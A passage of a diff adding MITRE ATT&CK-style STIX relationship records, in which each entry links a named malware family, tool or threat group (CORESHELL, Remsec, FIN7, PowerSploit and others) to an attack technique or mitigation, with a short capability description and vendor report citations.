"tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.576Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are Base64-encoded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--35d35ecf-1326-4690-b105-23280e29c120", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.130Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5823e4cd-e6cb-4e62-8ed2-a0f296128d34", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to retrieve files from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[SynAck](https://attack.mitre.org/software/S0242) clears event logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--10bb3d29-fe7d-49a4-a03b-ba1f78993af8", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.355Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "Traffic traversing the [Tor](https://attack.mitre.org/software/S0183) network will be forwarded to multiple nodes before exiting the [Tor](https://attack.mitre.org/software/S0183) network and continuing on to its intended destination.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4", + "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", + "source_name": "Dingledine Tor The Second-Generation Onion Router", + "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve a list of running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--92e35558-f915-4357-b397-3cc7a0412b92", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) concatenates then decompresses multiple resources to load an embedded .Net Framework assembly.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3cd2c187-587c-4969-957d-122ce654fc2a", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the execFile function to execute a specified file on the system using the NSTask:launch method.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.327Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "The C2 server response to a beacon sent by a variant of [Emissary](https://attack.mitre.org/software/S0082) contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of [Emissary](https://attack.mitre.org/software/S0082) use various XOR operations to encrypt C2 data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--37781434-3f1e-4f45-af34-b2378647c13a", + "source_ref": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018", + "modified": "2019-07-25T12:26:58.718Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can function as a proxy to create a serve that relays communication between the client and C&C server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--90974f03-7f61-479e-bceb-6f26872d4812", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e", + "source_ref": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a", + "modified": "2019-07-25T12:29:22.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) queries the registry to look for information about Terminal Services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--25d65c10-5fa3-40c1-9e25-936894446178", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a process list from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3076f49e-0db2-4652-a07d-653027aeef1e", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) modules are written in and executed via [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e7df8e8c-dfc4-48f2-bbd3-46b2572d60ca", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", + "description": "[Remsec](https://attack.mitre.org/software/S0125) harvests plain-text credentials as a password filter registered on domain controllers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--46f301cd-8ae3-431a-931b-df4bb4fee271", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the MAC and IP addresses during installation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can delete files and itself after infection to avoid analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fa14a106-cc98-4a5f-b849-85a5491eea36", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used SQL, VBS and JavaScript scripts to help perform tasks on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--78ef53a6-d137-4251-b683-993f77b4061c", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.534Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "source_name": "Flashpoint FIN 7 March 2019", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on local user accounts from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2e69a835-6443-455e-8ff0-775bb8c823f1", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses [PowerSploit](https://attack.mitre.org/software/S0194) to inject shellcode into PowerShell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e104cf3c-a802-4e06-8abc-6293cea9492f", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.525Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry. [BlackEnergy](https://attack.mitre.org/software/S0089) has searched for given file types.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.802Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses the net user command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--47a10b36-7f39-480c-8708-410eb3af46ca", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on process details.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--72fe5021-bace-41e4-9cc6-73af415225ac", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) can perform DLL loading.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89", + "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "source_name": "TrendMicro Taidoor", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information the victim's anti-virus software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[RTM](https://attack.mitre.org/software/S0148) runs its core DLL file using rundll32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) installs itself under Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--753f9861-f0b8-4467-ac5e-4457bd350095", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional Jscript and VBScript code on the victim's machine.", + "created_by_ref": 